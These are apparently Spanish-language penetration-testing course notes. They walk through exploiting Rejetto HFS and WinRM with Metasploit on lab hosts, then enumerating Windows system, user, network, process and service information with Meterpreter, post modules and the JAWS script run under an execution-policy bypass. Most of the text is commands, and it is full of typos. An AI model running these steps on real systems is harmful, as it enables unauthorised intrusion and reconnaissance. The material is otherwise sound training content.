Después de obtener acceso inicial a un sistema de destino, siempre es importante obtener más información sobre el sistema, como qué sistema operativo se está ejecutando y la versión del sistema operativo. Esta información es muy útil, ya que nos da una idea de lo que podemos hacer y qué tipo de exploits podemos ejecutar.
¿Qué estamos buscando?
Hostname
OS Name (Windows 7, 8 etc)
OS Build & Service Pack (Windows 7 SPI 7600)
OS Architecture (x64/x86)
Installed updates/Hotfixes
Demo: Enumerating System Information
# Enumeracion
nmap -sV 10.2.24.80
# Busqueda de vulnerabilidad
searchsploit rejetto
# Metasploit
msf5 > search rejetto
msf5 > use exploit/windows/http/rejetto_hfs_exec
msf5 exploit(windows/http/rejetto_hfs_exec) > show options
msf5 exploit(windows/http/rejetto_hfs_exec) > set RHOSTS 10.2.24.80
msf5 exploit(windows/http/rejetto_hfs_exec) > exploit
# Enumeracion Local
meterpreter > getuid # Usuario actual
meterpreter > sysinfo # Hostname - SO Edition - Copilacion - Arquitectura
# Enumeracion por comandos de Windows
meterpreter > shell
hostname
systeminfo # Mostrara toda la informacion del SO
Host Name:
OS Name:
OS Version:
OS Manufacturer:
OS Configuration:
OS Build Type:
Registered Owner:
Registered Organization:
Product ID:
Original Install Date:
System Boot Time:
System Manufacturer:
System Model:
System Type:
Processor(s) :
BIOS Version:
Windows Directory:
System Directory:
Boot Device:
System Locale:
Input Locale:
Time Zone:
Total Physical Memory:
Virtual Memory: Max Size:
Virtual Memory: Available:
Virtual Memory: In Use:
Page File Location(s):
Domain :
Logon Server:
Hotfix(s):
Network Card(s) :
Hyper-V Requirements:
# Otro tipo de enumeracion WMIC
wmic qfe get Caption,Description.HotfFxId,IstalledOn
# Informacion pertienente al SO, compilacion, etc
meterpreter > cd C:\\
meterpreter > cd Windows
meterpreter > cd System32
meterpreter > cat eula.txt
Quiz: Enumerating System Information
Enumerating Users & Groups
Después de obtener acceso inicial a un sistema de destino, siempre es importante obtener más información sobre el sistema, como por ejemplo, a qué cuenta de usuario tiene acceso y otras cuentas de usuario en el sistema.
¿Qué estamos buscando?
Current user & privileges
Additional user information
Other users on the system
Groups
Members of the built-in administrator group
Demo: Enumerating Users & Groups
# Primero hacemos la explotacion
msf5 > search rejetto
msf5 > use O
msf5 exploit (windows/http/rejetto_hfs_exec > set RHOSTS 10.2.22.30
msf5 exploit (windows/http/rejetto_hfs_exec > exploit
meterpreter > getuid
Server username: WIN-OMCNBKR66MN\Administrator
# Enumeracion de Privilegios asociados el usuarios
meterpreter > getprivs
#
meterpreter > background
# Enumeracion de Usuarios y Grupos
msf5 exploit (windows/http/rejetto h fs exec) > search logged_on
msf5
msf5
exploit (windows/http/rejetto hfs exec) > use 0
post (windows/ gather/ enum logged_on users
) > show options
set SESSION 1
run
# Enumeracion del Usuario actual
C:\hfs>whoami
# Enumeracion de los Priv Usuario
C:\hfs>whoami /priv
# Usuarios conecctados
C:\hfs>query user
# Lista de usuarios
C:\hfs>net users
# Informacion de un usuario es especifico
C:\hfs>net user administrator
# Enumeracion de grupos
C:\hfs>net localgroup
# Ver miembros por grupo
C:\hfs>net localgroup Administrators
Quiz: Enumerating Users & Groups
Enumerating Network Information
¿Qué estamos buscando?
Current IP address & network adapter
Internal networks \
TCP/UDP services running and their respective ports
Other hosts on the network
Routing table
Windows Firewall state
Demo: Enumerating Network Information
# Post explotacion
meterpreter > shell
# Obtener informacion IP / Adaptador
C:\hfs>ipconfig
# Informacion adicional de los adaptadores
C:\hfs> ipconfig /all
# Tabla de enrutamiento
C:\hfs> route print
# Descubrimiento de otros equipos en la red
C:\hfs> arp -a
# Lista de conexiones por servicios
C:\hfs> netstat -ano
# Estado del Firewall
C:\hfs> netsh firewall show state
C:\hfs> netsh advfirewall show all profiles
Quiz: Enumerating Network Information
Enumerating Processes & Services
Después de obtener acceso inicial a un sistema de destino, siempre es importante obtener más información sobre el sistema, como qué procesos, servicios y tareas programadas se están ejecutando actualmente.
¿Qué estamos buscando?
Running processes & services
Scheduled tasks
Un proceso es una instancia de un programa o archivo ejecutable (.exe) en ejecución.
Un servicio es un proceso que se ejecuta en segundo plano y no interactúa con el escritorio.
Demo: Enumerating Processes & Services
# Despues de tener acceso al objetivo
# Lista de procesos (PID, Nombre, User (Privilegios asociados al usuario)
# Si tiene acceso como una cuenta en espcifico para los procesos de windows
# Significa que tiene privilegio como el usuario correspondiente ejemplo Bob
ps
# Migrar de procesos
# Obtenemos el PID de Explorer.exe debido a que no se detiene o rara vez tiene problemas
# Forma de buscar el proceso
pgrep explorer .exe
migrate <PID>
# Cunado migra de proceso tambien migra de arquitectura el interprete
meterpreter > shell
# Lista de todos los servicios en ejecucion
C:\Windows\system32>wmic service list brief
# Procesos que se ejecutan bajo un proceso
C:\Windows\system32>tasklist / SVC
# Enumerar tareas programads
C:\Windows\system32>schtasks /query /fo LIST
C:\Windows\system32>schtasks /query /fo LIST V
Quiz: Enumerating Processes & Services
Automating Windows Local Enumeration
Además de realizar la enumeración local de forma manual, también podemos automatizar el proceso con la ayuda de algunos scripts y módulos MSF.
Si bien es importante conocer las técnicas y los comandos de enumeración local, como evaluador de penetración, deberá ser eficiente en el uso del tiempo. Como resultado, deberá aprender a utilizar varios scripts de enumeración automatizados.
Además de automatizar el proceso de enumeración de información como información del sistema, usuarios y grupos, etc., estos scripts de enumeración automatizados también le brindarán información adicional sobre el sistema de destino como vulnerabilidades de escalada de privilegios, contraseñas almacenadas localmente, etc.
Windows Local Enum Scripts
JAWS - Just Another Windows (Enum) Script - JAWS es un script de PowerShell diseñado para ayudar a los evaluadores de penetración (y a los usuarios de CTF) a identificar rápidamente posibles vectores de escalada de privilegios en sistemas Windows. Está escrito con PowerShell 2.0, por lo que "debería" ejecutarse en todas las versiones de Windows a partir de Windows 7.
Repositorio de GitHub: https://qithub.com/411Hall/JAWS
Demo: Automating Windows Local Enumeration
# Proceso de explotacion
nmap -sv -p 5985 10.2.21.181
# Una vez identificado las credenciales procdemos a la expltacion
msf6 > search winrm
msf6 > use 4
msf6 exploit (windows/winrm/winrm_script_exec) > show options
msf6 exploit (windows/winrm/winrm_script_exec) > set RHOSTS 10.2.21.1811
msf6 exploit (windows/winrm/winrm_script_exec) > set USERAME Administrator
msf6 exploit (windows/winrm/winrm_script_exec) > set PASSWORD tinkerbelll
msf6 exploit (windows/winrm/winrm_script_exec) > set FORCE_VBS true
msf6 exploit (windows/winrm/winrm_script_exec) > exploit
meterpreter > sysinfo
# Post explotacion
# Privilegios de usuario
# Enumeracion de usuarios y grupos
msf6 exploit (windows/winrm/winrm script exec) > search win privs
msf6 post (windows/gather/win_privs) > use 0
msf6 post (windows/gather/win_privs) > set SESSION 1
msf6 post (windows/gather/win_privs) > run
# Usuarios logeados
msf6 post (windows/gather/win_privs) > search enum_logged
use 0
set SESSION 1
msf6 post(windows/gather/enum_togged_on_users) > run
# VERIFICAR SI ES UNA MAQUINA VIRTUAL
msf6 post(windows/gather/enum_logged_on_users) > search checkvm
use 2
msf6 post(windows/gather/checkvm) > set SESSION 1
msf6 post(windows/gather/checkvm) > run
# Enumeracion de Aplicaciones ionstaladas
search enum_applications
msf6 post(windows/gather/enum_applications) > use 0
msf6 post(windows/gather/enum_applications) > set SESSION 1
msf6 post(windows/gather/enum_applications) > run
# Enumeracion de todas las computadoras conectadas a la misma red
search enum computers
use 0
msf6 post(windows/gather/enum_computers) > set SESSION 1
run
# Enumeracion de instlacion de parches
search enum_patches
use 0
set SESSION 1
msf6 post (windows/gather/enum_patches) > run
# Enumeracion de recursos compartidos
msf6 post (windows/gather/enum patches) > search enum_shares
use windows/gather/enum_shares
set SESSION 1
run
Enumeracion JAWS
# Compiamos el script ps1
# Una vez ya vulnerado el sistema se debe de proceder a trasferir al obejtivo
meterppreter > cd C:\\
meterpreter > dir
Listing: C:\
# Se debe de crear un directorio temporal para todo lo que hagamos
meterpreter > mkdir Temp
Creating directory: Temp
meterpreter > cd Temp
# Transferimos
meterpreter > upload /root/Desktop/jaws-enum.ps1
meterpreter > shell
C:\Temp>powershell.exe -ExecutionPoliqy Bypass -File .\jaws-enum.psl -OutputFilename JAWS-Enum.txt•
# Descargar el archivo que se genero
meterpreter > download JAWS-Enum.txt
# Revisar el archivo de salida, el cual trae todas las enumeraciones vistas